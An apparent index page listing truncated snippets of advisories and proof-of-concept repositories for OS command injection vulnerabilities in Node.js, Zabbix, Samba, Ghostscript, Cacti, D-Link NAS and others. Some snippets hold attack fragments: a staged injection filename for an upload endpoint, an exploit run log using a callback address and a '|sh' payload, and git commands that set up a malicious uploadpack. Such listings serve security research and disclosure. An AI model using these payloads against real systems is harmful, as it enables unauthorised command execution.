Astra Linux – Vulnerability in Node.js

A OS command injection vulnerability exists in Node.js versions 14.20.0, 16.20.0, 18.5.0 due to an insufficient IsAllowedHost check. This vulnerability can be easily exploited, as the IsIPAddress function does not properly check whether an IP address is invalid before making DBS requests, thereby...

Astra Linux – Vulnerability in Zabbix

Zabbix allows for the configuration of SMS notifications. AT command injection occurs on the “Zabbix Server” because there is no validation of the “Number” field either on the web interface or on the Zabbix server side. An attacker can send specially crafted phone numbers via SMS and execute...

Astra Linux – Vulnerability in cifs-utils

It was discovered that cifs-utils’ mount.cifs function invoked a shell when requesting the Samba password, which could be exploited to inject arbitrary commands. An attacker who had special permissions, such as those through sudo rules, could use this vulnerability to escalate their privileges...

Astra Linux – Vulnerability in Composer

Composer is a dependency manager for PHP. On the 2.x branch, before versions 2.2.24 and 2.7.7, the composer install command executed within a Git/HG repository with specially crafted branch names could lead to command injection. This required cloning untrusted repositories. Patches are available ...

patch-CVE-2026-04321

Patch: CVE-2026-04321 Vulnerability Details CVE : CVE-2026-04321 Product : Zyxel firewall Description : OS command injection Severity : Critical Patch Status: DEPLOYED Field| Value ---|--- Patch Date| 2026-01-28 Status| deployed Deployed To| Production Validated By| SecOps Team References NVD CIS...

POC-CVE-2026-19681

CVE-2026-19681 — command injection in file upload processing authenticated Status: CONFIRMED on a 6.7.2-14.el9 lab 2026-08-20. Staged filename p;sleep$IFS20;-EvvfJk via POST /rest/file/upload context prefix carries the metachars, then POST /rest/auditFile type=scapLinux, version=1.2 stalled exact...

CVE-2026-4480

excute exploit: python ./exploit.py -t 10.129.20.16 -l 10.10.14.172 -p 8487 Target: 10.129.20.16 Callback: 10.10.14.172:8487 Verify mode: False + Credentials initialized anonymous + Connected to spoolss interface + Opened printer: HP-Reception + Created DocumentInfo with payload: |sh + Generated...

Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit

CVE-2025-54123 — Hoverfly Middleware API Remote Code Execution Authenticated RCE via OS Command Injection in Hoverfly ≤ 1.11.3 Vulnerability Overview Property| Value ---|--- CVE ID| CVE-2025-54123 CVSS Score| 9.8 — Critical CVSS Vector| CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE| CWE-78 OS...

CVE-2021-46704

OS Command Injection in GenieACS CVE-2021-46704 CVE-2021-46704 Nuclei template Reference : https://github.com/advisories/GHSA-2877-693q-pj33 https://nvd.nist.gov/vuln/detail/CVE-2021-46704 https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-46704...

CVE-2022-46169

Cacti remoteagent.php Remote Command Execution Vulnerability CVE-2022-46169 Vulnerability Description Cacti is a server monitoring and management platform. A command injection vulnerability exists in versions 1.2.17 to 1.2.22. An attacker can bypass server-side validation via the X-Forwarded-For...

CVE-2020-24032

CVE-2020-24032 Suggested description tz.pl on XoruX LPAR2RRD and STOR2RRD 2.70 virtual appliances allows cmd=set&tz=OS command injection via shell metacharacters in a timezone. VulnerabilityType Other OS command injection Vendor of Product XoruX s.r.o. Affected Product Code Base LPAR2RRD and...

smb_usermap

smbusermap A simple exploit for CVE-2007-2447, present in Samba 3.0.20. You can exploit this vuln with even less than this, for instance, with smbclient, but I think it's tough to do complex commands, since a lot of special chars probably get eaten, but a simple command reboot in this case can be...

CVE-2024-32004

Create tmp repo, set uploadpack.allowfilter to true git init tmp git -C tmp config uploadpack.allowfilter 1 Clone evil from tmp repo git clone --filter=blob:none --no-local --no-checkout tmp evil rm -rf tmp Configure remote filter script git -C evil config remote.origin.uploadpack...

CVE-2023-36664-Ghostscript-command-injection

Ghostscript command injection vulnerability PoC CVE-2023-36664 Vulnerability disclosed in Ghostscript prior to version 10.01.2 leads to code execution CVSS score 9.8. Official vulnerability description: Artifex Ghostscript through 10.01.2 mishandles permission validation for pipe devices with the...

CVE-2026-75616

CVE-2026-75616 Authenticated OS command injection in the TP-Link Archer C20 v6 web management interface. BPA WAN configuration values are passed to system without adequate neutralization, allowing an authenticated administrator on the adjacent network to execute commands as root. Discovered and...

CVE-2019-0232

CVE-2019-0232 Apache Tomcat CGIServlet enableCmdLineArguments RCE Windows batch script injection via query string arguments Description Apache Tomcat with the CGI servlet enabled and enableCmdLineArguments=true passes query string parameters as command-line arguments to CGI scripts. On Windows,...

CVE-2024-10914-Exploit

CVE-2024-10914-Exploit CVE-2024-10914 is a critical vulnerability affecting the D-Link DNS-320, DNS-320LW, DNS-325, and DNS-340L up to version 20241028. The function cgiuseradd in the file /cgi-bin/accountmgr.cgi?cmd=cgiuseradd is the culprit, allowing attackers to inject operating system command...

CVE-2022-23935

CVE-2022-23935 The Exiftool software program, in versions prior to 12.38, has a security vulnerability that can be exploited through a specially crafted filename. This vulnerability allows for command injection, where an attacker can execute arbitrary commands on the system by appending a pipe...

Vulnerability-Research

🛡️ Vulnerability Research Here, I catalog the vulnerabilities I've discovered, the corresponding write-ups containing details of the weaknesses, and insights into their impact and remediation. 🏆 Assigned CVEs CVE ID| Vulnerability Title| Severity/CVSS| Published| Write-Up ---|---|---|---|--- N.A.|...

CVE-2026-4480-POC

CVE-2026-4480 — Удалённое выполнение кода в подсистеме печати Samba Обзор Материалы proof-of-concept и исследования, связанные с CVE-2026-4480 — критической уязвимостью удалённого выполнения кода RCE, затрагивающей подсистему печати Samba. Уязвимость вызвана некорректной обработкой контролируемых...